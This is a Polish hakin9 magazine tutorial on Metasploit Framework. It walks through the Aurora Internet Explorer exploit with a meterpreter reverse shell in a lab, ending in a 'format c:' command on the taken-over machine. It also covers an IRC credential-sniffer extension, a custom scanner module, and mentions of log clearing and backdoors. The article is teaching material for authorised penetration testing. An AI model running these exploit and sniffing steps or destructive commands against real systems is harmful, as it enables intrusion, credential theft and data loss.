background image

58

 

HAKIN9

ATAK

4/2010

poprzednim artykule na temat 
praktycznej pracy w środowisku 
Metasploit Framework (Metasploit 

w praktyce, hakin9 3/2010) poznaliśmy 
jego podstawowe możliwości w zakresie 
przeprowadzania testów penetracyjnych z 
wykorzystaniem gotowych modułów.

Z udostępnianych przez Metasploit 

interfejsów użytkownika, poznaliśmy 
szczegółowo środowisko msfconsole. Jako, 
że jest najbardziej stabilne, najczęściej 
aktualizowane oraz pozwala na dostęp 
do praktycznie wszystkich funkcji, nadal 
będziemy przede wszystkim z niego korzystać. 
Poznaliśmy również kilka praktycznych 
przykładowych testów penetracyjnych. Wiemy 
już więc, że Metasploit Framework może 
zostać wykorzystany na etapie rekonesansu 
do zbierania informacji o docelowej 
infrastrukturze za pomocą szeregu zawartych 
w nim modułów pomocniczych (ang. 
auxiliary). Wiemy również, że setki modułów 
exploitów oraz payloadów (programów 
wykonywanych w przejętym systemie po 
udanym wykonaniu ataku testowego za 
pomocą exploitu) pozwalają na wykonywanie 
niezliczonej ilości zaawansowanych testów 
penetracyjnych. Poznaliśmy również przykłady 
ataków testowych wymagających interakcji 
z użytkownikiem docelowego systemu, czyli 
takich, które są w praktyce spotykane coraz 
częściej.

WOJCIECH SMOL

Z ARTYKUŁU 

DOWIESZ SIĘ

czym jest ofensywne 

bezpieczeństwo,

na czym polegają 

zaawansowane testy 

penetracyjne,

jakie praktyczne możliwości 

oferuje Metasploit Framework 

w zakresie tworzenia własnych 

modułów,

w jaki sposób komputerowi 

włamywacze odkrywają luki w 

systemach informatycznych 

i w jaki sposób się do nich 

włamują.

CO POWINIENEŚ 

WIEDZIEĆ

znać podstawowe rodzaje 

ataków na systemy 

informatyczne,

znać podstawy obsługi 

systemu Linux.

Poznaliśmy również najważniejsze 

informacje na temat zyskującego coraz 
większą popularność, ofensywnego 
podejścia (ang. Offensive Security) do 
tematu bezpieczeństwa informatycznego. 
Przypomnijmy, że bezpieczeństwo ofensywne 
opiera się przede wszystkim na praktycznym 
sprawdzaniu bieżącego stanu bezpieczeństwa 
systemu teleinformatycznego. Praktycznym do 
tego stopnia, że wykorzystuje w swych testach 
narzędzia stosowane przez... komputerowych 
włamywaczy. Osoba zajmująca się 
ofensywnym bezpieczeństwem będzie więc 
szukać w testowanym systemie luk za pomocą 
skanera Nessus, czy też określać widoczność 
komputerów oraz ich usług za pomocą 
skanera nmap. Najciekawszą część takiego 
przedsięwzięcia będą jednak stanowić testy 
penetracyjne. 

Testy penetracyjne stanowią metodę oceny 

bezpieczeństwa systemu informatycznego 
poprzez symulowanie prawdziwych ataków 
mogących pochodzić od potencjalnych 
włamywaczy. Tester (zwany często etycznym 
hakerem lub pentesterem), korzystając z 
prawdziwych narzędzi umożliwiających 
wykonanie udanego włamania, próbuje 
przełamać zabezpieczenia testowanego 
systemu. Dopiero tego rodzaju testy są w stanie 
odpowiedzieć na pytanie, czy dany system 
informatyczny jest rzeczywiście odporny na 
znane obecnie rodzaje ataków. Przykłady 

Stopień trudności

Metasploit 

w praktyce 

cz. II

Artykuł przedstawia krok po kroku wszystko to, co każdy 

zainteresowany bezpieczeństwem IT chciał zawsze wiedzieć 

o zaawansowanych testach penetracyjnych oraz metodach 

tworzenia własnych modułów Metasploit Framework, ale bał 

się własnoręcznie sprawdzić.

background image

59

 

HAKIN9 

METASPLOIT W PRAKTYCE CZ. II

4/2010

tego rodzaju działań, polegających na 
wykonywaniu testowych włamań do 
własnych systemów (lub cudzych, za pełną 
zgodą uprawnionych administratorów 
oraz właścicieli) poznaliśmy właśnie w 
poprzednim opracowaniu.

Jednak Metasploit Framework pozwala 

nie tylko na używanie zawartych w nim w 
sposób modularny exploitów, ale również 
na tworzenie oraz testowanie własnych 
lub przerabianie tych już istniejących. 
Środowisko to zawiera również narzędzia 
wspierające przebieg kompleksowej 
oceny bezpieczeństwa całej infrastruktury, 
w tym narzędzia pozwalające na 
gromadzenie oraz analizowanie danych 
otrzymywanych na podstawie kolejnych 
przeprowadzanych testów.

Praktyka czyni mistrza!

Moim celem ponownie nie jest 
omówienie wszystkich, niezliczonych 
możliwości środowiska Metasploit. Nie 
będę się również zajmował istniejącymi 
metodologiami przeprowadzania testów 
penetracyjnych, takimi jak OSSTMM 
(ang. Open Source Security Testing 
Methodology Manual
).

Ponownie skupię się przede 

wszystkim na praktycznych przykładach, 
na podstawie których poznamy kolejne 
możliwości Metasploit Framework. 
Na początek przypomnijmy sobie 
jednak podstawy pracy w środowisku 
msfconsole na przykładzie najnowszego, 
słynnego już exploitu Aurora.

Informacje o nowej luce Zero 

Day, obecnej w niemal wszystkich 
wersjach przeglądarki Internet Explorer, 
pojawiły się 12 stycznia br. wraz z 
doniesieniami o udanych cyberatakach 
(ochrzczonych w toku dalszych wydarzeń 
mianem operacji Aurora) precyzyjnie 
wymierzonych w Google, Adobe oraz 
kilkadziesiąt innych wiodących firm 
z branży informatycznej. Microsoft 
niezwłocznie (14.01.2010) opracował 
odpowiedni poradnik zabezpieczeń 
(Microsoft Security Advisory 979352), 
zawierający szereg porad utrudniających 
przeprowadzenie udanych ataków. 
Od tego momentu, nie upłynęły nawet 
24 godziny, a exploit wykorzystujący 
najnowszą lukę został upubliczniony 
i włączony w skład środowiska 

Metasploit Framework. W międzyczasie 
rządy Niemiec i Francji zaleciły swym 
obywatelom przesiadkę na alternatywne 
przeglądarki internetowe. Wreszcie 
Microsoft podjął decyzję o załataniu 
tej groźnej luki poza comiesięcznym 
cyklem łatania, co zostało ostatecznie 
zrealizowane 21. stycznia. Przykład ten 
pokazuje, jak niesamowicie szybko 
społeczność włącza w skład środowiska 
Metasplit najnowsze exploity, dzięki 
czemu jesteśmy w stanie na bieżąco 
testować podatność własnych systemów 
na najnowsze zagrożenia typu Zero Day. 
Warto przy okazji podkreślić, że operacja 
Aurora stanowi jeden z pierwszych 
zaobserwowanych ataków typu APT 
(ang. Advanced Persistent Threat
przeprowadzonych na tak masową 
skalę. Ataki tego typu wymierzone są 
zazwyczaj w duże korporacje lub ośrodki 
polityczne i polegają na zaawansowanej 
(skoordynowanej i wykorzystującej 
zaimplementowany specjalnie na tę 
okazję zaawansowany malware, będący 
w stanie wykorzystać nieznane do tej 
pory luki), uporczywej (zastosowanie 
nieznanego do tej pory złośliwego 
oprogramowania pozwala zazwyczaj na 
uniknięcie wykrycia przez dłuższy czas) 
infiltracji, której celem jest zebranie ściśle 
określonych danych. Zdaniem wielu 
specjalistów, operacja Aurora stanowi 
zapowiedź nowej ery tego rodzaju 
ataków. My natomiast przypomnijmy 
sobie procedurę przeprowadzania testów 
penetracyjnych z poziomu msfconsole 
sprawdzając podatność testowego 
systemu Windows XP na działanie słynnej 
Aurory.

Tak jak poprzednio, jako środowisko 

pracy z Metasploit Framework posłuży 
nam najnowszy systemem Linux 
BackTrack 4 Final. W systemie tym, 
dostęp do msfconsole uzyskamy, 
wykonując polecenie 

./pentest/

exploits/framework3/msfconsole

 lub 

też wybierając z głównego systemowego 
menu opcję Backtrack/Penetration/
Metasploit Exploitation Framework/
Framework Version 3/msfconsole

Zanim jednak zaczniemy na dobre, 

zaktualizujmy jeszcze całe środowisko 
Metasploit za pomocą polecenia svn 
update
. W jego wyniku rozpocznie się 

automatyczny proces aktualizacyjny, 
dzięki któremu do dyspozycji otrzymamy 
wszystkie najnowsze, dostępne na obecną 
chwilę moduły. Wyposażeni w odpowiednią 
wiedzę oraz broń załadowaną najnowszą 
amunicją możemy wreszcie przystąpić do 
naszego pierwszego wystrzału z Aurory.

W tym celu należy w konsoli 

msfconsole wykonać następujące 
polecenia:

 

msf > use exploit/windows/
browser/ie _ aurora

 (wybór oraz 

wejście w tryb konfiguracji modułu 
exploitu ie_aurora),

•  

msf exploit(ie _ aurora) > set 
PAYLOAD windows/meterpreter/
reverse _ tcp

 (wybór oraz wejście 

w tryb konfiguracji modułu 

payloadu 

meterpreter/reverse _ tcp

payload

 to kod, który zostanie 

uruchomiony w docelowym systemie 
w przypadku udanego wykonania się 
ataku testowego),

•  

msf exploit(ie _ aurora) > set 
LHOST 192.168.64.129

 (ustawienie 

adresu IP naszego systemu, z którym 
payload uruchomiony w docelowym 
systemie nawiąże połączenie 
zwrotne),

•  

msf exploit(ie _ aurora) > set 
URIPATH /

 (ustawienie ścieżki w 

adresie, na który musimy zwabić 
potencjalną ofiarę, w tym przypadku 
będzie to po prostu adres komputera, 
na którym konfigurujemy exploit),

•   msf exploit(ie_aurora) > exploit 

(uruchomiemie exploitu ie_aurora).

W tym momencie nasz exploit przygotuje 
serwer oczekujący na przyjęcia 
połączenia z docelowego systemu, co 
poznamy po następującej sekwencji 
komunikatów:

•  

[*] Exploit running as 
background job. msf 
exploit(ie _ aurora) >

•  

[*] Started reverse handler on 
port 4444

•  

[*] Using URL: http://0.0.0.0:
8080/

•  

[*] Local IP: http://
192.168.64.129:8080/

•  

[*] Server started.

background image

60

 

HAKIN9 4/2010

61

 

HAKIN9 

4/2010

Teraz pozostaje nam już tylko 
odwiedzenie w docelowym systemie 
za pomocą przeglądarki Internet 
Explorer złośliwego adresu (czyli 
adresu określonego w parametrze: 
Local IP: http://192.168.64.129:8080/). 
W trakcie rzeczywistego ataku, intruz 
starałby się zwabić potencjalną ofiarę 
na przygotowany przez siebie adres 
za pomocą specjalnie przygotowanej 
wiadomości e-mail, poprzez przesłanie 
linku za pomocą komunikatora IM, itp.

Po odwiedzeniu w systemie 

docelowym złośliwego adresu (http:
//192.168.64.129:8080/
), jeśli tylko system 
ten będzie podatny na atak, w środowisku 
Metasploit ujrzymy następującą 
sekwencję komunikatów:

•  

[*] Sending Microsoft 
Internet Explorer "Aurora" 
Memory Corruption to client 
192.168.64.135 [*] Sending 
stage (723456 bytes)

,

•  

[*] Meterpreter session 1 
opened (192.168.64.129:4444 -
>192.168.64.135:1109)

,

•  

msf exploit(ie _ aurora) >

.

Połączenie z docelowym systemem 
zostało więc nawiązane, a my za pomocą 
następujących komend możemy uzyskać 
pełny dostęp do wiersza poleceń ofiary:

•  

msf exploit(ie _ aurora) > 
sessions -i 1

,

•  

[*] Starting interaction with 
1...

,

•  

meterpreter > getuid

 (wyświetlenie 

informacji o użytkowniku zalogowanym 
w docelowym systemie),

•  

Server username: WOJTEK-
CQS4EXFU\admin

,

•  

meterpreter > shell

 

(uruchomienie konsoli systemowej 
przejętego systemu),

•  

Process 388 created

,

•  

Channel 1 created

,

•  

Microsoft Windows XP [Version 
5.1.2600]

,

•  

(C) Copyright 1985-2001 
Microsoft Corp.

,

•  

C:\Documents and Settings\
admin\Desktop>format c

: 

(jesteśmy w konsoli docelowego 
systemu, możemy rozpocząć dowolne 
działania w zdalnym systemie...),

•  

format c:

,

•  

The type of the fi le system is 
NTFS

,

•  

WARNING, ALL DATA ON NON-
REMOVABLE DISK

,

•  

DRIVE C: WILL BE LOST!

,

•  

Proceed with Format (Y/N)? Y

.

Przebieg całej procedury można 
prześledzić na Rysunku 1. 

Podsumowując, udało nam się więc 
przejąć całkowitą kontrolę nad systemem 
Windows XP za pomocą exploitu Zero 
Day. Exploit Aurora wszedł w skład 
Metasploit Framework na długo przed 
opublikowaniem przez Microsoft 
stosowanych poprawek bezpieczeństwa.

Skoro przypomnieliśmy już sobie 

z jak potężnym narzędziem do 
przeprowadzania testów penetracyjnych 
mamy do czynienia, możemy przystąpić 
do poznawania kolejnych z jego 
niezliczonych możliwości.

Zarządzanie zdobytymi 

informacjami

Każdy test penetracyjny, czy to 
przeprowadzany w pojedynkę, czy też 
zespołowo, polega w dużej mierze na 
gromadzeniu znacznych ilości informacji. 
Już w średniej wielkości organizacji, ilość 
danych zgromadzonych na temat całej 
infrastruktury na etapie rekonesansu oraz 
na temat poszczególnych podatności 
wykrytych w trakcie właściwych testów 
penetracyjnych, może być przytłaczająca.

Każdy pentester chciałby 

dysponować narzędziem umożliwiającym 
gromadzenie informacji o 
przeprowadzonych do tej pory testach, 
szybkie wyszukiwanie w dotychczasowych 
wynikach oraz wspierające wymianę 
informacji z zespołem oraz przydatne 
w trakcie tworzenia raportu z przebiegu 
całej operacji. Środowisko Metasploit 
Framework oczywiście zostało 
wyposażone w mechanizmy wspierające 
tego typu operacje.

W środowisku msfconsole, podręczną 

bazę danych opartą na technologii 
SQLite możemy utworzyć za pomocą 
polecenia 

db _ create

. Następnie 

należy załadować moduł 

db _ tracker

korzystając z polecenia load 

db _

tracker

. Natomiast polecenie 

help

 

pozwoli nam na wyświetlenie wszystkich 
dostępnych poleceń dla naszej 
podręcznej bazy danych:

•  

db _ add _ host

 – dodanie jednego 

lub więcej hostów do bazy,

•  

db _ add _ note

 – dodanie notatki 

do hosta,

•  

db _ add _ port

 – dodanie 

informacji o porcie hosta,

Rysunek 1. 

Słynny exploit Aurora w akcji

ATAK

background image

60

 

HAKIN9 4/2010

61

 

HAKIN9 

4/2010

•  

db _ autopwn

 – uruchomienie automatycznego testu 

penetracyjnego,

•  

db _ connect

 – nawiązanie połączenia z istniejącą bazą 

danych,

•  

db _ create

 – utworzenie nowej bazy danych,

•  

db _ del _ host

 – usunięcie jednego lub więcej hostów z 

bazy,

•  

db _ del _ port

 – usunięcie informacji o porcie,

•  

db _ destroy

 – usunięcie istniejącej bazy danych,

•  

db _ disconnect

 – zerwanie połączenia z istniejącą bazą 

danych,

•  

db _ driver

 – określenie sterownika bazy danych,

•  

db _ hosts

 – wyświetlenie informacji o wszystkich hostach 

w bazie danych,

•  

db _ import _ amap _ mlog

 – import informacji z pliku 

wynikowego programu THC-Amap,

•  

db _ import _ nessus _ nbe

 – import informacji z pliku 

wynikowego (NBE) programu Nessus,

•  

db _ import _ nessus _ xml

 – import informacji z pliku 

wynikowego (NESSUS) programu Nessus,

•  

db _ import _ nmap _ xml

 – import informacji z pliku 

wynikowego programu Nmap,

•  

db _ nmap

 – uruchomienie skanowania programem 

Nmap i zapisanie wyników do bazy,

•  

db _ notes

 – wyświetlenie wszystkich notatek zapisanych 

w bazie,

•  

db _ service

s – wyświetlenie wszystkich usług odkrytych 

w ramach testowanych hostów,

•  

db _ vulns

 – wyświetlenie wszystkich podatności 

zapisanych w bazie.

Następujący prosty przykład ilustruje wykorzystanie 
wbudowanej w Metasploit Framework bazy danych do 
zarządzania informacjami zbieranymi w trakcie testu 
penetracyjnego:

•  

db _ nmap -v -sV 192.168.64.0/24

 – przeskanowanie 

sieci 192.168.64.* za pomocą programu Nmap 
uruchomionego z zadanymi parametrami i zapisanie 
wyników do bazy danych,

•  

db _ hosts

 – w wyniku otrzymamy informacje na temat 

hostów odkrytych przez skaner Nmap,

•  

db _ services

 – w wyniku otrzymamy informacje na 

temat wszystkich usług, które zostały odkryte w ramach 
hostów przeskanowanych programem Nmap.

Jak widać praca z bazą nie jest skomplikowana, a daje nam 
naprawdę spore możliwości gromadzenia oraz analizowania 
informacji zdobywanych na bieżąco w trakcie rekonesansu oraz 
ataków testowych. Pentesterzy szukający jeszcze większych 
możliwości w zakresie zarządzania informacjami gromadzonymi 
w trakcie testów penetracyjnych, powinni natomiast zapoznać 
się oprogramowaniem Dradis Framework.

Dradis to otwarty (open source) framework wspierający 

nie tylko zbieranie oraz zarządzanie informacjami 

background image

ATAK

62

 

HAKIN9 4/2010

METASPLOIT W PRAKTYCE CZ. II

63

 

HAKIN9 

4/2010

gromadzonymi w trakcie audytów 
bezpieczeństwa informatycznego, ale 
również narzędzie pracy grupowej. Z 
najciekawszych cech tego aktywnie 
rozwijanego oprogramowania warto 
wymienić możliwość komunikacji z 
wykorzystaniem SSL, funkcje importu z 
wielu programów (np. Nmap, Nessus), 
możliwość dołączania plików, funkcje 
automatycznego tworzenia raportów oraz 
możliwość korzystania z zewnętrznych 
systemów baz danych informacji o 
podatnościach (ang. Vulnerability 
databases
).

Rozszerzanie możliwości 

modułów

Jak już wspominałem, każdy fragment 
środowiska Metasploit może zostać 
przez nas podejrzany, zmieniony, a 
nawet wykorzystany we własnym celu. 
Taka otwartość pozwala na proste 
tworzenie własnych funkcji, naukę 
poprzez podglądanie najciekawszych 
rozwiązań, a przede wszystkim powoduje, 
że Metasploit Framework ma dosłownie 
nieograniczone możliwości. Jeśli jakaś 
funkcja jest nam potrzeba, możemy ją 
po prostu utworzyć lub zmodyfikować 
na własny użytek, moduł już istniejący. 
Tego rodzaju funkcjonalności nigdy 

nie otrzymamy w przypadku bardzo 
kosztowych, zamkniętych pakietów 
komercyjnych, takich jak choćby 
środowisko Core Impact. Jako przykład 
rozszerzenia możliwości środowiska 
Metasploit Framework o własne pomysły, 
spróbujmy rozszerzyć możliwości modułu 
pomocniczego 

psnuffl e

.

Moduł pomocniczy 

auxiliary/

sniffer/psnuffl e

 oferuje możliwość 

podsłuchiwania haseł używanych w 
protokołach pop3, imap, ftp, oraz http. 
Oferuje funkcjonalność zbliżoną do 
programu Dsniff. Użycie tego modułu w 
środowisku msfconsole jest niezwykle 
proste i sprowadza się do wykonania 
następujących poleceń:

•  

msf > use auxiliary/sniffer/
psnuffl e

•  

msf auxiliary(psnuffl e) > run

Jeśli tylko w widocznym dla naszego 
systemu ruchu sieciowym pojawią 
się rozpoznawane przez psnuffle 
mechanizmy uwierzytelniania, 
natychmiast zostaniemy poinformowani o 
przechwyconych poświadczeniach:

•  

[*] Auxiliary module running 
as background job

•  

[*] Loaded protocol FTP from 
/pentest/exploits/framework3/
data/exploits/psnuffl e/ftp.rb...

•  

[*] Loaded protocol IMAP from 
/pentest/exploits/framework3/
data/exploits/psnuffl e/
imap.rb...

•  

[*] Loaded protocol POP3 from 
/pentest/exploits/framework3/
data/exploits/psnuffl e/
pop3.rb...

•  

[*] Loaded protocol URL from 
/pentest/exploits/framework3/
data/exploits/psnuffl e/url.rb...

•  

[*] Sniffi ng traffi c.....

•  

[*] Successful FTP Login: 
192.168.6.212:21-192.168.6.201:
46614 >> user / pass (220 3Com 
3CDaemon FTP Server Version 
2.0)

Załóżmy teraz, że chcielibyśmy rozszerzyć 
możliwości modułu psnuffle o funkcję 
sniffera poświadczeń przekazywanych 
za pomocą protokołu IRC (Internet Relay 
Chat
). Stojąc przed tak postawionym 
zadaniem, najprościej będzie, jeśli 
zapoznamy się z istniejącymi już 
w ramach 

psnuffl e

 modułami i 

wykorzystamy je do własnego celu. W 
systemie Linux BackTrack 4 Final, moduły 
te odnajdziemy w katalogu /pentest/
exploits/framework3/data/exploits/
psnuffle
. Jako szablon wykorzystamy 
moduł sniffera protokołu pop3 zawarty 
w pliku pop3.rb. Dzięki skorzystaniu z 
gotowego przykładu, jesteśmy w stanie 
w stosunkowo prosty sposób utworzyć 
poszczególne elementy własnego 
rozszerzenia modułu. Poszczególne 
części będą miały następującą postać.
Definicje wzorców:

self.sigs = { 
:user => /^(NICKs+[^n]+)/si,
:pass => /b(IDENTIFYs+[^n]+)/si,}

Definicje portów oraz sposobu śledzenia 
sesji: (Listing 1).

Następnie wystarczy już tylko 

opracować przetwarzanie zawartości 
pakietów i wychwytywanie treści 
spełniających założenia zdefiniowanych 
powyżej wyrażeń regularnych. Z pełną 
treścią proponowanego rozszerzenia 

Rysunek 2. 

Metasploit wspomaga zarządzanie zebranymi informacjami

background image

ATAK

62

 

HAKIN9 4/2010

METASPLOIT W PRAKTYCE CZ. II

63

 

HAKIN9 

4/2010

możliwości modułu 

psnuffl e

 można się 

zapoznać pod następującym adresem: 
http://www.offensive-security.com/msf/irc.rb.

Widać więc wyraźnie, ze dzięki 

całkowitej otwartości kodu, środowisko 
Metasploit Framework daje nam 
niesamowitą elastyczność oraz 
niespotykaną łatwość tworzenia własnych 
modyfikacji oraz rozszerzeń.

Tworzenie własnych 

modułów

Może się również zdarzyć tak, że 
modyfikacja, bądź rozszerzenie 
możliwości jakiegoś modułu będzie 
dla nas niewystarczające. Jeśli więc 
do skutecznego przeprowadzenia 
zaplanowanych testów, niezbędne 
okaże się utworzenie własnego modułu, 
środowisko Metasploit Framework 
ponownie okaże się na tę okazję 
doskonałym rozwiązaniem. Załóżmy więc, 
że jesteśmy zmuszeni w szybkim czasie 
utworzyć własny specyficzny moduł 
skanera sieciowego. Zadaniem naszego 
skanera jest nawiązywanie połączeń TCP 
(domyślnie na porcie 6666, moduł ma 
jednak udostępniać możliwość zmiany 
domyślnego ustawienia). Po nawiązaniu 
połączenia skaner ma przesłać do serwera 
wiadomość HELLO SERVER, odebrać 
otrzymaną odpowiedź oraz wyświetlić jej 
treść wraz z adresem IP zdalnego hosta.

Zadanie na pierwszy rzut oka wydaje 

się niebanalne, w rzeczywistości jednak 
dzięki temu, że możemy skorzystać ze 
wszystkich klas oraz metod obecnych 
już ramach środowiska Metasploit 
Framework, rozwiązanie okazuje się 
stosunkowo proste. Otóż nasz skaner 
można utworzyć za pomocą, prostej 
definicji (Listing 2).

Jak więc mogliśmy się przekonać, 

dzięki wykorzystaniu gotowych 
elementów środowiska, byliśmy w 
stanie zaimplementować nasz skaner 
w dosłownie kilkunastu liniach kodu, a 
sam proces jego tworzenia przypominał 
dopasowywanie gotowych klocków.

W celu praktycznego skorzystania z 

naszego skanera wystarczy już tylko plik 
z jego treścią zapisać (w systemie Linux 
BackTrack 4 Final) w katalogu /pentest/
exploits/framework3/modules/auxiliary/
scanner/
 pod nazwą nasz_tcp.rb. W 
celu skorzystania z naszego skanera 
wystarczy już tylko uruchomić środowisko 
msfconsole i wydać następujące 
polecenia:

•  

msf > use auxiliary/scanner/
nasz _ tcp

•  

msf auxiliary(nasz _ tcp) > set 
RHOSTS 192.168.1.10

•  

RHOSTS => 192.168.1.10

•  

msf auxiliary(simple _ tcp) > 
run

Okazuje się więc, że nawet w przypadku 
wymogu utworzenia całkowicie nowego 
modułu, środowisko Metasploit 
Framework okaże się zaskakująco 
pomocne dzięki niezwykle prostym 
metodom wykorzystania istniejącego już 
w jego ramach kodu.

Niezliczone możliwości

Poznaliśmy kilka kolejnych możliwości 
środowiska Metasploit w zakresie 
przeprowadzania zaawansowanych 
testów penetracyjnych oraz zarządzania 
danymi gromadzonymi w trakcie audytów. 
Poznaliśmy również podstawowe metody 
modyfikacji oraz tworzenia od podstaw 

własnych modułów. Nadal jednak daleko 
nam do poznania wszystkich możliwości 
tego środowiska.

Warto jeszcze choćby tylko 

wspomnieć o takich możliwościach 
jak uruchomienie całego Metasploit 
Framework jako payloadu w docelowym 
systemie. Tego typu zabieg może bowiem 
być niezwykle przydatny w momencie, 
gdy uda nam się przejąć kontrolę nad 
jednym z systemów w docelowej sieci, a 
dalsze testy penetracyjne muszą być z 
różnych względów (np. by ruch sieciowy 
generowany przez testy penetracyjne nie 
wychodził poza docelową infrastrukturę) 
wykonywane już wyłącznie wewnątrz 
docelowego lanu. Inne moduły Metasploit 
pozwalają również na zacieranie śladów 
(np. poprzez wyczyszczenie logów 
systemowych), jakie testy penetracyjne 
pozostawiły w docelowym systemie.

Istnieją również moduły stworzone z 

myślą o zapewnieniu utrzymania dostępu 
do przejętego systemu docelowego. Tego 
typu moduły są w stanie zainstalować w 
docelowym systemie keylogger lub też 
backdoor, dzięki czemu pentester będzie 
w stanie uzyskać dostęp do systemu, 
nawet jeśli wcześniej wykorzystane luki 
zostaną załatane.

Listing 1. 

Sniffer haseł IRC, definicje portów oraz śledzenia sesji

return

 

if

 

not

 

pkt

[:

tcp

]

 # We don't want to handle anything other than tcp

return

 

if

 

(

pkt

[:

tcp

]

.

src_port

 

!=

 

6667

 

and

 

pkt

[:

tcp

]

.

dst_port

 

!=

 

6667

)

 # 

Process

 

only

 

packet

 

on

 

port

 

6667

#Ensure that the session hash stays the same for both way of communication

if

 

(

pkt

[:

tcp

]

.

dst_port

 

==

 

6667

)

 # When packet is sent to server 

s

 

=

 

fi nd_session

(

"#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-#{pkt[:ip].src_ip}:

#{pkt[:tcp].src_port}"

)

else

 # When packet is coming from the server 

s

 

=

 

fi nd_session

(

"#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}-#{pkt[:ip].dst_ip}:

#{pkt[:tcp].dst_port}"

)

end

Listing 2. 

Własny moduł 

nietypowego skanera sieciowego

require

 '

msf

/

core

'

class

 

Metasploit3

 

<

 

Msf

::

Auxiliary

include

 

Msf

::

Exploit

::

Remote

::

Tcp

include

 

Msf

::

Auxiliary

::

Scanner

def

 

initialize

super

(

'

Name

=>

 '

My

 

custom

 

TCP

 

scan

',

'

Version

=>

 '$

Revision

:

 

1

 $',

'

Description

=>

 '

My

 

quick

 

scanner

',

'

Author

=>

 '

Your

 

name

 

here

',

'

License

=>

 

MSF_LICENSE

)

register_options

(

 

[

Opt

::

RPORT

(

6666

)

]

self

.

class

)

end
def

 

run_host

(

ip

)

connect

()

sock

.

puts

(

'

HELLO

 

SERVER

'

)

data

 

=

 

sock

.

recv

(

1024

)

print_status

(

"Received: #{data} from 

#{ip}"

)

disconnect

()

end
end

background image

ATAK

64

 

HAKIN9 4/2010

Metasploit Framework coraz częściej 

oferuje również moduły o znacznym 
stopniu zautomatyzowania przebiegu 
testu penetracyjnego. Przykładowo moduł 
browser_autopwn jest w stanie nie tylko 
rozpoznać typ docelowej przeglądarki 
internetowej, ale również automatycznie 
uruchomić exploity przeznaczone dla 
odkrytego typu oprogramowania i w 
konsekwencji automatycznie uzyskać 
dostęp do docelowego hosta! Komercyjne 
środowiska do przeprowadzania testów 
penetracyjnych, takie jak choćby niezwykle 
kosztowny Core Impact, nie mają już więc 
zbyt wielu argumentów w walce ze swymi 
otwartymi odpowiednikami.

Wreszcie pozostaje jeszcze jedno z 

najciekawszych zagadnień, czyli tworzenie 
przy pomocy środowiska Metapsloit 
Framework własnych exploitów. Materiał 
ten jest jednak obszerny i wymaga 
oddzielnego omówienia.

Warto również nadmienić, że 

Framework stanowiący przedmiot naszych 
rozważań, nie jest jedynym darmowym 
oraz otwartym oprogramowaniem tego 
typu. W samym systemie Linux BackTrack 
4 Final mamy do dyspozycji kilka innych 
środowisk do przeprowadzania testów 
penetracyjnych, takich jak Fast-Track oraz 
Inguma. Warto również zainteresować się 
środowiskiem Social Engineering Toolkit

które to umożliwia przeprowadzanie 
nowatorskich testów penetracyjnych z 
wykorzystaniem technik socjotechnicznych. 
Każdy zainteresowany ofensywnym 
bezpieczeństwem znajdzie więc z 
pewnością pośród tych darmowych 
rozwiązań odpowiednie dla siebie 
środowisko pracy.

Podsumowanie

Poznaliśmy więc kolejne praktyczne 
zastosowania środowiska Metasploit 
Framework, tym razem nie ograniczaliśmy 
się już jednak do samych testów 
penetracyjnych i korzystania z gotowych 
modułów. Wiemy już więc, że ten prawdziwy 
kombajn, pozwalający na realistyczne 
odzwierciedlenie wszystkich typów ataków 
stosowanych przez komputerowych 
włamywaczy, może również wspomagać 
zarządzanie informacjami gromadzonymi 
w trakcie audytu.

Przekonaliśmy się również na 

podstawie praktycznych przykładów, że 
Metasploit to nie tylko setki gotowych 
exploitów oddanych w nasze ręce przez 
najlepszych ekspertów od bezpieczeństwa 
informatycznego poświęcających swój 
czas na rozwój tego otwartego projektu, 
ale również możliwość swobodnego 
przetworzenia lub wykorzystania we 
własnym celu każdego z tych modułów. 

Przetwarzając lub budując od 

podstaw własny moduł, do swej dyspozycji 
otrzymujemy wszystkie klasy oraz metody 
wchodzące w skład całego środowiska, co 
czyni cały proces zaskakująco prostym. 
Wszystko to sprawia, że utworzenie 
własnego modułu w języku Ruby jest 
stosunkowo proste, a nieskomplikowany 
moduł można utworzyć w ciągu kilkunastu 
minut z wykorzystaniem zaledwie 
kilkunastu linii kodu.

Taka otwartość pozwala na proste 

tworzenie własnych funkcji, naukę 
poprzez podglądanie najciekawszych 
rozwiązań, a przede wszystkim powoduje, 
że Metasploit Framework ma dosłownie 
nieograniczone możliwości. Jeśli jakaś 
funkcja jest nam potrzeba, możemy ją 
po prostu utworzyć lub zmodyfikować 
na własny użytek moduł już istniejący. 
Tego rodzaju funkcjonalności nigdy 
nie otrzymamy w przypadku bardzo 
kosztowych zamkniętych pakietów 
komercyjnych, takich jak choćby 
wspomniany już Core Impact.

Zachęcam więc ponownie wszystkich 

zainteresowanych bezpieczeństwem 
informatycznym do praktycznego 
zapoznania się z testami penetracyjnymi 
z wykorzystaniem środowiska 
Metasploit Framework, ale również 
spróbowania własnych sił w zakresie 
implementowania własnych rozwiązań. 
Nie ma bowiem skuteczniejszego oraz 
bardziej ekscytującego sposobu na 
przetestowanie bezpieczeństwa własnych 
systemów, niż własnoręczne włamanie 
się do ich zasobów. Natomiast tworzenie 
własnych modułów będzie świetną okazją 
do zapoznania się (w sposób legalny) z 
warsztatem komputerowych włamywaczy 
oraz profesjonalnych pentesterów. 
Wszystko to w konsekwencji pozwoli 
nam na lepsze zabezpieczenia własnej 
infrastruktury oraz lepsze zrozumienie 
czyhających na nią zagrożeń!

Wojciech Smol

Autor jest absolwentem wydziału Automatyki, Elektroniki 

i Informatyki Politechniki Śląskiej w Gliwicach. Ukończył 

studia na kierunku informatyka, o specjalności Bazy 

danych, sieci i systemy komputerowe. Pracuje jako 

administrator sieci i systemów komputerowych 

oraz specjalista od bezpieczeństwa IT. Prowadzi 

serwis HARD CORE SECURITY LAB dostępny 

pod adresem http://hcsl.pl/. Kontakt z autorem: 

wojciech.smol@gmail.com lub wojciech.smol@mz.pl.

W Sieci

•   http://hcsl.pl/ – Hard Core Security Lab,
•   http://www.metasploit.com/ – The Metasploit Project,
•   http://www.offensive-security.com/metasploit-unleashed/ – Metasploit Framework: kurs online,
•   http://www.hcsl.pl/2010/01/poznalismy-sposob-crackerow-na-google.html – nowy Zero Day 

w MS Internet Explorer, exploit Aurora,

•   http://www.microsoft.com/technet/security/advisory/979352.mspx – Microsoft Security 

Advisory (979352),

